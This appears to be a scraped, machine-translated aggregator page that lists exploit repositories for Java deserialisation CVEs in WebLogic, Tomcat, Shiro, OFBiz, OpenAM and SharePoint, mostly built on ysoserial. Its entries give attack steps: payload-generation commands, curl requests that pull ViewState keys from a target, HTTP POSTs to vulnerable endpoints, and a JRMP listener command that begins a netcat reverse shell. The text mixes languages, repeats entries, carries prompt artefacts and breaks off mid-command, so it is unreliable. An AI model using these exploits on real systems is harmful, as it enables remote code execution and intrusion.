Jmeter-CVE-2018-1297-

Jmeter RMI Deserialisierungs-Schwachstelle zur Befehlsausführung CVE-2018-1297 Apache JMeter ist eine Open-Source-Software-Suite, die von der American Apache Software Foundation in Java für Stresstests und Leistungstests geschrieben wurde. Die Versionen 2.x und 3.x enthalten eine...

cve-2016-1000027-poc

PoC für CVE-2016-1000027 Dies ist eine Demo-Spring-Boolt-Anwendung, die von CVE-2016-1000027 betroffen ist. Schritte zur Reproduktion der Sicherheitslücke 1. Starten Sie einen anfälligen Server com.gypsyengineer.server.Server. 2. Führen Sie com.gypsyengineer.client.Exploit aus. Die Exploit Klasse...

CVE-2021-26295--

CVE-2021-26295-- CVE-2021-26295-POC Nutzt DNSlog für die Überprüfung der Schwachstelle CVE-2021-26295. Verwendung des POC: Lege das Ziel in target.txt und führe python poc.py aus. JDK-Umgebung muss 12 sein, sonst kann ysoserial keinen gültigen Payload erzeugen EXP: python exp.py https://baidu.com...

CVE-2022-0265

CVE-2022-0265 Lege ysoserial.jar in dasselbe Verzeichnis. Beispiel python CVE-2022-0265.py 127.0.0.1 URLDNS "http://xxx.log."...

CVE-2018-2893

CVE-2018-2893 Schritt 1 java -jar ysoserial-cve-2018-2893.jar root@kitploit: WHY SO SERIAL? Usage: java -jar ysoserial-cve-2018-2893.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ JRMPClient @mbechler JRMPClient2 @mbechler JRMPClient3...

CVE-2025-53770-Exploit

CVE-2025-53770-Exploit Zuerst holen Sie die Werte VIEWSTATEGENERATOR, VALIDATIONKEY, VALIDATIONALG von der Ziel-SharePoint-Seite: root@kitploit: curl -s https://target.com/layouts/15/start.aspx | grep -oP 'VIEWSTATEGENERATOR" value="\K^"+' curl https://target.com/layouts/15/spinstall0.aspx...

CVE-2020-9484-exploit

CVE-2020-9484-exploit Apache Tomcat Remote-Code-Ausführung Bevor Sie das Skript ausführen, ändern Sie bitte den ysoserial-Pfad entsprechend Ihrem Dateipfad. ysoserial : https://github.com/frohoff/ysoserial für weitere Referenzen :...

CVE-2018-3252

CVE-2018-3252-PoC 1.Gere o PoC com YSOSERIAL 2.Você deve saber o USERNAME e a PASSWORD do servidor weblogic alvo 3.Envie o payload para a URL root@kitploit: POST /beawlsdeploymentinternal/DeploymentService HTTP/1.1 Host: 127.0.0.1:7001 Accept:...

CVE-2018-3245

CVE-2018-3245 Schritt 1 java -jar ysoserial-cve-2018-3245.jar root@kitploit: WHY SO SERIAL? Usage: java -jar ysoserial-cve-2018-3245.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ CVE201828931 @mbechler CVE201828932 @mbechler CVE201828933...

CVE-2021-26295-Apache-OFBiz

CVE-2021-26295-Apache-OFBiz CVE-2021-26295 Apache OFBiz RMI-Deserialisierungs-POC ysoserial.jar muss in das Verzeichnis gelegt werden, und es darf keine hohe Java-Version verwendet werden...

CVE-2021-27850

CVE-2021-27850 CVE-2021-27850 ysoserial https://novysodope.github.io/2022/05/31/81/...

CVE-2021-40865

CVE-2021-40865 CVE-2021-40865 POC/exploit-poc root@kitploit: import org.apache.commons.io.IOUtils; import org.apache.storm.serialization.KryoValuesSerializer; import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.URLDNS; import java.io.; import java.math.BigInteger; import java.net.;...

Tomcat-CVE_2025_24813

Tomcat CVE-2025-24813 Spielwiese Exploit wurde geforkt von https://github.com/absholi7ly/POC-CVE-2025-24813/blob/main/README.md hat bei mir nicht funktioniert Inhalt 1. ROOT.war ist eine minimale App mit einem Servlet, das apache-common-3.1 enthält und eine Session erzeugt 2. ysoserial.jar origin...

CVE-2018-2893

CVE-2018-2893 Schritt 1 java -jar ysoserial-cve-2018-2893.jar root@kitploit: WHY SO SERIAL? Usage: java -jar ysoserial-version-all.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ JRMPClient @mbechler JRMPClient2 @pynerd JRMPClient3 @pynerd...

CVE-2018-3245

CVE-2018-3245 Schritt 1 java -jar ysoserial-cve-2018-3245.jar root@kitploit: Usage: java -jar ysoserial-cve-2018-3245.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ CVE201828931 @mbechler CVE201828932 @mbechler CVE201828933 @mbechler...

CVE-2020-9484

CVE-2020-9484 Reproduzindo a vulnerabilidade de execução de código por desserialização de sessão do Apache Tomcat CVE-2020-9484 com Kali 2.0 Ambiente: 1. Kali 2.0 2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz a webapp é s2-053, com commons-collections4-4.0.jar adicionado em seu lib Iniciar...

SHIRO-550

Shiro RememberMe 1.2.4 Vulnerabilidade de desserialização SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e...

potential-cassandra

CVE-2024-23114 Prepare o ambiente Precisaremos de uma instância Mysql docker run --rm -d --name cassandra -p 9042:9042 cassandr Agora precisaremos criar as tabelas necessárias: Você tem dois arquivos: employee.sql e employeecompleted.sql Execute o seguinte comando: docker exec -it cassandra bash...

CVE-2018-1297

CVE-2018-1297 EXP per CVE-2018-1297 PS: devi scaricare ysoserial da solo!!! https://github.com/Al1ex/ysoserial-0.0.6-SNAPSHOT-all/releases...

openam-CVE-2021-35464

openam CVE-2021-35464 Execução de comandos com retorno de saída no Tomcat. O projeto é baseado em ysoserial e Java-Rce-Echo Para construir o projeto, é necessário adicionar ysoserial.jar e jato-14.6.3.jar às dependências. root@kitploit: POST /OpenAM/ccversion/Version HTTP/1.1 Host: php.local:8081...